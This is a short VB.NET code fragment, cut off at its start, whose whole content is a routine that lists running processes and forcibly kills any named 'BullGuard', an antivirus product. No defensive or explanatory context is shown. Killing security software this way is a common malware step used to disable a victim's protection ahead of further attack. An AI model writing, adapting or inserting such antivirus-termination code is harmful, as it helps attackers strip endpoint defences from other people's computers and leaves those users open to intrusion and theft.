Dim BullGuard As Process() = Process.GetProcesses
Dim a As Integer
For a = 0 To BullGuard.Length - 1
Debug.WriteLine(BullGuard(a).ProcessName)
If Strings.UCase(BullGuard(a).ProcessName) = Strings.UCase("BullGuard") Then
BullGuard(a).Kill()
End If
Next
End Sub